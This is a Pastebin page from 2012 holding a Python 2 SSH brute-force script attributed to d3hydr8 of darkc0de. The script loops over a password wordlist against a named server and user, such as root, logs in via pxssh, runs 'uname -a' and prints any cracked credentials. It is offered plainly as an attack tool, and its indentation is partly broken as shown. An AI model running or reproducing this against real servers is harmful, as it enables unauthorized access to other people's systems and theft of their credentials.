TrojanSpot

Ssh Bruter | www.pemula.info

Oct 28th, 2012
330
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.35 KB | None | 0 0
  1. #!/usr/bin/python
  2. #SSH BruteForcer
  3.  
  4. #http://www.darkc0de.com
  5. #d3hydr8[at]gmail[dot]com
  6.  
  7. import sys, time
  8. try:
  9.     import pexpect, pxssh
  10. except(ImportError):
  11.     print "\nYou need the pexpect module."
  12.     print "http://www.noah.org/wiki/Pexpect\n"
  13.     sys.exit(1)
  14.  
  15. def brute(word):
  16.     print "Trying:",word
  17.         try:
  18.             s = pxssh.pxssh()
  19.             s.login (ip, user, word, login_timeout=10)
  20.             s.sendline (command)
  21.             s.prompt()
  22.             print "\n",s.before
  23.             s.logout()
  24.         print "\t[!] Login Success:",user, word,"\n"
  25.         sys.exit(1)
  26.     except Exception, e:
  27.             #print "[-] Failed"
  28.         pass
  29.     except KeyboardInterrupt:
  30.         print "\n[-] Quit\n"
  31.         sys.exit(1)
  32.  
  33. print "\n\t   d3hydr8:darkc0de.com sshBrute v1.0"
  34. print "\t----------------------------------------"
  35.    
  36. if len(sys.argv) != 4:
  37.     print "\nUsage : ./sshbrute.py <server> <user> <wordlist>"
  38.     print "Eg: ./sshbrute.py 198.162.1.1 root words.txt\n"
  39.     sys.exit(1)
  40.  
  41. ip = sys.argv[1]
  42. user = sys.argv[2]
  43. command = 'uname -a'
  44.  
  45. try:
  46.     words = open(sys.argv[3], "r").readlines()
  47. except(IOError):
  48.     print "\n[-] Error: Check your wordlist path\n"
  49.     sys.exit(1)
  50.  
  51. print "\n[+] Loaded:",len(words),"words"
  52. print "[+] Server:",ip
  53. print "[+] User:",user
  54. print "[+] BruteForcing...\n"
  55. for word in words:
  56.     #Change this time if needed
  57.     time.sleep(0.5)
  58.     brute(word.replace("\n",""))
Add Comment
Please, Sign In to add comment